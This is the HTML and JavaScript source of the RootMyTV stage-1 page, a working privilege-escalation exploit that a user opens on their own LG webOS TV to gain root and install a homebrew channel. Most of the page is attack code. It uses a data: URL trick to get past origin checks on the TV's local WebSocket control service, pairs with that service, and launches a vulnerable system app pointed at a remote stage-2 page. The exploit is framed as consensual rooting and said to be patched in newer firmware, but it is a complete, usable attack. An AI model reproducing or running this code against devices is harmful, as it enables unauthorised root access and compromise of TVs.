RootMyTV.github.io/index.html

372 wiersze
13 KiB
HTML

<!DOCTYPE html>
<html>
<head>
<title>RootMyTV - Stage 1</title>
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes, minimum-scale=1.0">
<meta name="description" content="RootMy.TV - Slide to root your LG webOS TV and install the webOS Homebrew Channel">
<meta name="keywords" content="webos, root, exploit, slide, rootmy, rootmytv, jailbreak, hack, unlock, homebrew, channel">
<meta property="og:title" content="RootMy.TV">
<meta property="og:description" content="RootMy.TV - Slide to root your LG webOS TV and install the webOS Homebrew Channel">
<meta property="og:image" content="https://rootmy.tv/img/thumb.jpg">
<meta name="twitter:card" content="summary_large_image">
<link rel="stylesheet" href="css/common.css" />
</head>
<body>
<header>
<h1>RootMy.TV<small> 2.0</small></h1>
</header>
<hr>
<section class="content-center">
<article id="main-article">
<p>
This webpage will exploit your LG webOS smart TV, gain local root privileges,
and install the <a href="https://github.com/webosbrew/webos-homebrew-channel">
webOS Homebrew Channel.</a>
</p>
<p id="patched">
If you get a <span class="code">Denied method call</span> error or your
TV reboots but Homebrew Channel is not installed, then <b>your TV is
patched</b>. All firmware released since mid-2022 is patched.
There is no need to report this to us.
</p>
<p>
<b>/!\ IMPORTANT /!\ :</b> Read <a href="https://github.com/RootMyTV/RootMyTV.github.io">our documentation</a>
<b>BEFORE</b> you continue - or risk bricking your TV!
</p>
<p>
Once you're ready to proceed, drag the slider below (<i class="click-here">or press "5" / click here</i>).
</p>
<div class="slider-bar">
<div class="slider-button"><p>-&gt;</p></div>
<p class="slider-text">slide to root</p>
</div>
<p>
Note: You must open this webpage on your TV to trigger the exploit.
</p>
</article>
</section>
<hr>
<script>
window.ORIGIN_URL =
window.location.protocol === 'data:' ? '__START_ORIGIN__' :
window.location.protocol === 'file:' ? 'https://rootmy.tv' : window.location.href;
window.onerror = function (err) {
console.error(err);
alert('error: ' + JSON.stringify(err) + '\n' + err.fileName + ' ' + err.lineNumber);
};
</script>
<script>
var is_webos = navigator.userAgent.toLowerCase().indexOf("webos") !== -1 ||
navigator.userAgent.toLowerCase().indexOf("netcast") !== -1 ||
navigator.userAgent.toLowerCase().indexOf("smarttv") !== -1;
console.log("is_webos: " + is_webos)
// Exploit data: url navigation for browsers which didn't have following patch
// applied yet (webOS 3.x):
// https://chromium.googlesource.com/chromium/src.git/+/130ee686fa00b617bfc001ceb3bb49782da2cb4e
try {
if (window.location.protocol !== 'data:' && is_webos) {
window.location = 'data:text/html;base64,' + btoa(document.documentElement.innerHTML
.replace('="css/common.css"', '="' + new URL('css/common.css', window.location.href).href + '"')
.replace('__START_ORIGIN__', window.location.href));
}
} catch (err) {}
function log(str) {
var logBox = document.querySelector('#log');
logBox.innerText = logBox.innerText + str + '\n';
logBox.scrollIntoView(false)
}
// Minimal implementation of WebSocket API that we use to workaround origin
// filtering in SSAP (LG Connect Apps) server. data: origins result in Origin:
// null header to be sent, which is explicitly allowed.
function ProxyWebSocket(target) {
// Proxy payload - this function is run in data: iframe and is meant to exchange
// WebSocket calls and events with parent frame.
function proxyPayload(address) {
// Helper function that forwards events/messages to parent frame
function forward(type, data) {
window.parent.postMessage(JSON.stringify({type: type, data: data}), "*");
}
try {
var conn = new WebSocket(address);
conn.onopen = function (evt) {forward('open', evt);}
conn.onclose = function (evt) {forward('close', evt);}
conn.onerror = function (evt) {forward('error', evt);}
conn.onmessage = function (evt) {forward('message', {data: evt.data});}
window.addEventListener("message", function (event) {
var msg = JSON.parse(event.data);
if (msg.type === 'send') {
conn.send(msg.data);
}
}, false);
} catch (err) {
forward('error', err);
}
}
var self = this;
this.proxy = document.createElement('iframe');
this.proxy.style.display = 'none';
this.proxy.setAttribute('src', 'data:text/html;base64,' + btoa('<' + 'script>' + proxyPayload.toString() + ';proxyPayload(' + JSON.stringify(target) + ');</' + 'script>'));
window.addEventListener("message", function (event) {
if (event.source !== self.proxy.contentWindow) return;
const msg = JSON.parse(event.data);
if (msg.type === 'message' && self.onmessage) self.onmessage(msg.data);
if (msg.type === 'close' && self.onclose) self.onclose(msg.data);
if (msg.type === 'error' && self.onerror) self.onerror(msg.data);
if (msg.type === 'open' && self.onopen) self.onopen(msg.data);
if (msg.type === 'log') console.info('proxy:', msg.data);
}, false);
document.querySelector('body').appendChild(this.proxy);
return this;
}
ProxyWebSocket.prototype.send = function (data) {
this.proxy.contentWindow.postMessage(JSON.stringify({type: 'send', data: data}), '*');
}
ProxyWebSocket.prototype.close = function () {
this.proxy.parentNode.removeChild(this.proxy);
}
// Final exploit code
var conn = null;
function bootstrap(target, url) {
try {
log('0. Connecting...');
if (conn) {try {conn.close();} catch (err) {alert(err.message)} }
conn = new ProxyWebSocket('ws://' + target + ':3000');
conn.onopen = function (evt) {
console.info('open', evt);
log('1. Connected, registering... Accept prompt on the TV.');
const handshake = {
id: "reg_req",
type: "register",
payload: {
forcePairing: false,
pairingType: "PROMPT",
"client-key": "xxx",
// Minimal manifest that gives us permission to launch a system
// application
manifest: {
manifestVersion: 1,
"localizedAppNames": {
"": "RootMyTV",
},
permissions: ["LAUNCH", "READ_INSTALLED_APPS"],
},
}
};
conn.send(JSON.stringify(handshake));
};
const pendingRequests = {};
function request(uri, payload, callback) {
const id = String(Date.now());
conn.send(JSON.stringify({
id: id,
type: "request",
uri: uri,
payload: payload,
}));
pendingRequests[id] = callback;
}
conn.onmessage = function (evt) {
const msg = JSON.parse(evt.data);
if (msg.type === 'registered') {
log('2. Registered - looking for vulnerable apps...');
request('ssap://com.webos.applicationManager/listApps', {}, function(msg) {
if (msg.type === 'response') {
const candidates = {
"com.webos.app.facebooklogin": {
priority: 1000,
params: { server: url.replace('http://', '').replace('https://', '') + "#" },
},
"com.webos.app.acrcard": {
// acrcard is broken on 3.x? worth debugging.
priority: (navigator.userAgent.indexOf("Chrome/38.0") !== -1) ? -1000 : 2000,
params: { contentTarget: url },
},
"com.webos.app.alibaba": {
priority: 2500,
params: { target: url },
},
};
var bestMatch = null;
msg.payload.apps.forEach(function(app) {
if (app.id in candidates) {
log("3. Found " + app.id);
if (bestMatch === null || candidates[bestMatch].priority < candidates[app.id].priority) {
bestMatch = app.id;
}
}
});
if (!bestMatch) {
log("3. No vulnerable apps found :(");
} else {
log("3. Launching " + bestMatch + "...");
request("ssap://system.launcher/launch", {
id: bestMatch,
params: candidates[bestMatch].params,
}, function(msg) {
log("3. Launch result: " + JSON.stringify(msg));
});
}
}
});
} else if (msg.type === 'response') {
if (pendingRequests[msg.id]) {
pendingRequests[msg.id](msg);
delete pendingRequests[msg.id];
} else if (msg.id !== 'reg_req') {
log('Unexpected response: ' + evt.data);
}
} else if (msg.type === 'error') {
log('Unexpected message, connection prompt likely declined:\n' + evt.data);
if (pendingRequests[msg.id]) {
pendingRequests[msg.id](msg);
delete pendingRequests[msg.id];
}
} else {
log('Unexpected message: ' + evt.data);
}
};
conn.onclose = function (evt) {
console.info('close', evt);
log('Closed');
};
conn.onerror = function (evt) {
console.info('error', evt);
if (evt.message && evt.message.indexOf('insecure') !== -1) {
log('Error occured during connection... Attempting data URL hack...');
} else {
log('Error occured during connection - Do you have LG Connect Apps enabled?');
}
};
} catch (err) {
log("An unexpected error occured: " + err.toString());
}
}
function begin_exploit() {
// replace main body with log window
document.querySelector("#main-article").innerHTML = "<pre id='log'></pre>";
var is_local = window.location.protocol === 'file:';
if (!is_local && !is_webos) {
log("[Warning] You should be visiting this page from a webOS device, not your desktop web browser!");
}
// Allow people to download the exploit page to manually set target IP,
// in case direct on-tv deployment fails for some reason.
var target = is_local ? prompt('Enter IP address of Your TV') : '127.0.0.1';
bootstrap(target, new URL('stage2.html', ORIGIN_URL).href);
}
// listen for "5" key to be pressed
document.addEventListener("keydown", function(event) {
if (event.keyCode === 53) {
begin_exploit();
}
});
document.querySelector('.click-here').addEventListener('click', function (event) {
begin_exploit();
});
/* slider animation logic */
var slider = document.getElementsByClassName("slider-button")[0];
var sliderText = document.getElementsByClassName("slider-text")[0];
var startX = 0;
var endX = 0;
var posX = 0;
var grabbed = false;
var velX = 0;
var lastUpdate = Date.now();
var prevPosX = 0;
var moved = false;
function slidermousedown(e) {
e.preventDefault();
startX = e.clientX;
grabbed = true;
endX = Math.floor(slider.parentElement.clientWidth * 0.827);
window.onmousemove = slidermousemove;
window.onmouseup = slidermouseup;
return false;
}
function slidermousemove(e) {
e.preventDefault();
var deltaX = e.clientX - startX;
moved = true;
if (deltaX < 0) {
deltaX = 0;
} else if (deltaX > endX) {
deltaX = endX;
}
posX = deltaX; // XXX fixme
}
function slidermouseup(e) {
window.onmousemove = null;
window.onmouseup = null;
velX = 0;
if (posX == endX || (posX == 0 && !moved)) {
begin_exploit();
slider.onmousedown = null;
} else {
grabbed = false;
}
moved = false;
}
function animate_tick() {
var now = Date.now();
var dt = now - lastUpdate;
ticks = dt/(1000/60);
if (ticks > 4) ticks = 4;
lastUpdate = now;
if (!grabbed && posX != 0) {
var accel = (0.5 + posX/200) * ticks;
velX -= accel;
posX += velX * ticks;
if (posX < 0) {
velX *= -0.3;
posX *= -0.3;
}
if (posX < 0.1) {
posX = 0;
}
}
if (prevPosX != posX) {
slider.style.left = Math.floor(posX) + "px";
sliderText.style.opacity = 1-(posX/endX);
}
prevPosX = posX;
window.requestAnimationFrame(animate_tick);
}
slider.onmousedown = slidermousedown;
window.requestAnimationFrame(animate_tick);
</script>
</body>
</html>